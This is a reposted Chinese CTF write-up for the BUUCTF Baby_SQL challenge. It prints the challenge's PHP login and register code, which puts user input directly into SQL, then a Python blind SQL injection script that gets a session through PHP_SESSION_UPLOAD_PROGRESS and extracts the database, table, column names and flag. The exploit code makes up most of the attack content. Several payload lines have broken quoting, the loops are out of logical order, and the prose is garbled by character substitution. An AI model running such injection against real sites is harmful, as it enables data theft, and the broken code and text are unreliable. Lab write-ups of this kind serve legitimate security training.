58,【8】BUUCTF [PwnThyBytes 2019]Baby_SQL1

[复制链接]
发表于 2025-11-7 20:42:31 | 显示全部楼层 |阅读模式

进入靶场


和2次注入的页面很像
不外养成查察源代码的好风俗


先访问source.zip
下载后解压,发现两个文件

第一个文件夹打开又有4个PHP文件

那照旧先看index.php文件好了

有PHP和HTML两部门,下面是PHP部门代码(HTML太长了,先放一放)
  1. <?php
  2. // 启动会话
  3. session_start();
  4. // 对 $_SESSION 中的每个元素进行过滤处理
  5. foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
  6. // 对 $_GET 中的每个元素进行过滤处理
  7. foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
  8. // 对 $_POST 中的每个元素进行过滤处理
  9. foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
  10. // 对 $_REQUEST 中的每个元素进行过滤处理
  11. foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
  12. // 定义过滤函数
  13. function filter($value)
  14. {
  15.     // 如果值不是字符串,终止脚本并输出 Hacking attempt!
  16.    !is_string($value) AND die("Hacking attempt!");
  17.     // 使用 addslashes 函数对字符串进行转义,防止 SQL 注入
  18.     return addslashes($value);
  19. }
  20. // 如果满足以下条件,包含 templates/register.php 文件
  21. isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
  22. // 如果满足以下条件,包含 templates/login.php 文件
  23. isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
  24. // 如果满足以下条件,包含 templates/home.php 文件
  25. isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
  26. ?>
复制代码
对通过SESSION、GET、POST、REQUEST方法获取到的每个元素举行过滤处置惩罚,对字符串举行转义来防止SQL注入
看别的4个
db.php
  1. <?php
  2. $servername = $_ENV["DB_HOST"];
  3. $username = $_ENV["DB_USER"];
  4. $password = $_ENV["DB_PASSWORD"];
  5. $dbname = $_ENV["DB_NAME"];
  6. $con = new mysqli($servername, $username, $password, $dbname);
  7. ?>
复制代码
  1. <?php
  2. // 从环境变量中获取数据库的主机地址
  3. $servername = $_ENV["DB_HOST"];
  4. // 从环境变量中获取用于连接数据库的用户名
  5. $username = $_ENV["DB_USER"];
  6. // 从环境变量中获取连接数据库的密码
  7. $password = $_ENV["DB_PASSWORD"];
  8. // 从环境变量中获取要连接的数据库的名称
  9. $dbname = $_ENV["DB_NAME"];
  10. // 使用 mysqli 类创建一个新的数据库连接对象,将前面获取的主机地址、用户名、密码和数据库名称作为参数
  11. $con = new mysqli($servername, $username, $password, $dbname);
  12. ?>
复制代码
home.php
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <!-- 定义文档字符编码为 utf-8 -->
  5.     <meta charset="utf-8">
  6.     <!-- 告知搜索引擎不要索引此页面 -->
  7.     <meta name="robots" content="noindex">
  8.     <title>home</title>
  9.     <!-- 设置视口,以实现响应式布局 -->
  10.     <meta name="viewport" content="width=device-width, initial-scale=1">
  11.     <!-- 引入 Bootstrap 的 CSS 样式表 -->
  12.     <link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet"
  13.           id="bootstrap-css">
  14.     <style type="text/css">
  15.     </style>
  16.     <!-- 引入 jQuery 库 -->
  17.     <script src="//code.jquery.com/jquery-1.10.2.min.js"></script>
  18.     <!-- 引入 Bootstrap 的 JavaScript 库 -->
  19.     <script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script>
  20. </head>
  21. <body>
  22. <div class="container">
  23.     <?php
  24.     // 包含数据库连接文件 db.php
  25.     include 'db.php';
  26.     // 判断是否设置了 $_SESSION["username"]
  27.     if (isset($_SESSION["username"])):
  28.         // 如果设置了 $_SESSION["username"],显示一个警告信息
  29.         die('<div class="alert alert-warning" id="msg-verify" role="alert"><strong>Hope this site is secure! I did my best to protect against some attacks. New sections will be available soon.</strong></div>');
  30.     else:
  31.         // 如果未设置 $_SESSION["username"],进行页面刷新,跳转到?p=login
  32.         die('<meta http-equiv="refresh" content="0; url=?p=login" />');
  33.     endif;
  34.    ?>
  35. </div>
  36. </body>
  37. </html>
复制代码
login.php
  1. <?php
  2. !isset($_SESSION) AND die("Direct access on this script is not allowed!");
  3. include 'db.php';
  4. $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
  5. $result = $con->query($sql);
  6. function auth($user)
  7. {
  8.     $_SESSION['username'] = $user;
  9.     return True;
  10. }
  11. ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
  12. ?>
复制代码
  1. <?php
  2. // 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
  3. !isset($_SESSION) AND die("Direct access on this script is not allowed!");
  4. // 包含 db.php 文件,可能包含数据库连接等相关代码
  5. include 'db.php';
  6. // 构建 SQL 查询语句,从 `ptbctf`.`ptbctf` 表中查询用户名为 $_GET['username'] 且密码为 $_GET['password'] 的 MD5 加密值的用户信息
  7. $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'. $_GET['username']. '" and password="'. md5($_GET['password']). '";';
  8. // 执行 SQL 查询
  9. $result = $con->query($sql);
  10. // 定义 auth 函数,用于将用户信息存储在 $_SESSION 中并返回 True
  11. function auth($user)
  12. {
  13.     $_SESSION['username'] = $user;
  14.     return True;
  15. }
  16. // 以下是逻辑判断:
  17. // 如果查询结果行数大于 0,并且可以获取查询结果的一行数据,并且关闭数据库连接,并且调用 auth 函数存储用户信息,并且重定向到?p=home 页面,则执行成功;
  18. // 否则关闭数据库连接并输出 Try again!
  19. ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
  20. ?>
复制代码
redister.php
  1. <?php
  2. !isset($_SESSION) AND die("Direct access on this script is not allowed!");
  3. include 'db.php';
  4. (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
  5. $sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
  6. ($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
  7. ?>
复制代码
  1. <?php
  2. // 检查 $_SESSION 是否未被设置,如果未设置则终止脚本并输出错误信息,防止直接访问该脚本
  3. !isset($_SESSION) AND die("Direct access on this script is not allowed!");
  4. // 包含 db.php 文件,可能包含数据库连接等相关代码
  5. include 'db.php';
  6. // 以下是对 $_POST['username'] 的验证:
  7. // 检查用户名是否包含字母 a、d、m、i、n 中的任何一个(不区分大小写),
  8. // 或者用户名长度小于 6,
  9. // 或者用户名长度大于 10,
  10. // 或者用户名不是字母数字组合
  11. // 如果满足上述任何一个条件,则关闭数据库连接并输出 "Not allowed!"
  12. (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR!ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
  13. // 构建 SQL 插入语句,将用户输入的用户名和密码(密码进行 MD5 加密)插入到 `ptbctf`.`ptbctf` 表中
  14. $sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("'. $_POST['username']. '","'. md5($_POST['password']). '")';
  15. // 执行 SQL 插入操作,如果插入成功则关闭数据库连接并输出 "The user was created successfully!",否则关闭数据库连接并输出 "Error!"
  16. ($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
  17. ?>
复制代码
根据代码信息绕过过滤机制
运行以下python脚本
  1. import requests
  2. import time
  3. url = "http://b9b081b9-90ad-4343-93d0-98dbc62e66d2.node5.buuoj.cn:81/templates/login.php"
  4. files = {"file": "123456789"}
  5. # 字段值
  6. flag = ''
  7. for i in range(1, 100):
  8.     low = 32
  9.     high = 127
  10.     mid = (low + high) // 2
  11.     while low < high:
  12.         time.sleep(0.06)
  13.         payload_flag = {
  14.             'username': f"test" or (ascii(substr((select group_concat(secret) from flag_tbl ),{i},1))>{mid}) #",
  15.             'password': 'test'
  16.         }
  17.         r = requests.post(url=url, params=payload_flag, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
  18.                           cookies={"PHPSESSID": "test1"})
  19.         if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
  20.             low = mid + 1
  21.         else:
  22.             high = mid
  23.         mid = (low + high) // 2
  24.     if mid == 32 or mid == 127:
  25.         break
  26.     flag += chr(mid)
  27.     print(flag)
  28. print(flag)
  29. # 列名
  30. column = ''
  31. for i in range(1, 100):
  32.     low = 32
  33.     high = 127
  34.     mid = (low + high) // 2
  35.     while low < high:
  36.         time.sleep(0.06)
  37.         payload_column = {
  38.             'username': f"test" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl' ),{i},1))>{mid}) #",
  39.             'password': 'test'
  40.         }
  41.         r = requests.post(url=url, params=payload_column, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
  42.                           cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})
  43.         if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
  44.             low = mid + 1
  45.         else:
  46.             high = mid
  47.         mid = (low + high) // 2
  48.     if mid == 32 or mid == 127:
  49.         break
  50.     column += chr(mid)
  51.     print(column)
  52. print(column)
  53. # 表名
  54. table = ''
  55. for i in range(1, 100):
  56.     low = 32
  57.     high = 127
  58.     mid = (low + high) // 2
  59.     while low < high:
  60.         time.sleep(0.06)
  61.         payload_table = {
  62.             'username': f'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ptbctf"),{i},1))>{mid}) #',
  63.             'password': 'test'
  64.         }
  65.         r = requests.post(url=url, params=payload_table, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
  66.                           cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})
  67.         if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
  68.             low = mid + 1
  69.         else:
  70.             high = mid
  71.         mid = (low + high) // 2
  72.     if mid == 32 or mid == 127:
  73.         break
  74.     table += chr(mid)
  75.     print(table)
  76. print(table)
  77. # 数据库名
  78. database = ''
  79. for i in range(1, 100):
  80.     low = 32
  81.     high = 127
  82.     mid = (low + high) // 2
  83.     while low < high:
  84.         time.sleep(0.06)
  85.         payload_database = {
  86.             'username': f"test" or (ascii(substr((select database()),{i},1))>{mid}) #",
  87.             'password': 'test'
  88.         }
  89.         r = requests.post(url=url, params=payload_database, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
  90.                           cookies={"PHP_SESSION_UPLOAD_PROGRESS": "test1"})
  91.         if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
  92.             low = mid + 1
  93.         else:
  94.             high = mid
  95.         mid = (low + high) // 2
  96.     if mid == 32 or mid == 127:
  97.         break
  98.     database += chr(mid)
  99. print(database)
复制代码



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

×
登录参与点评抽奖,加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表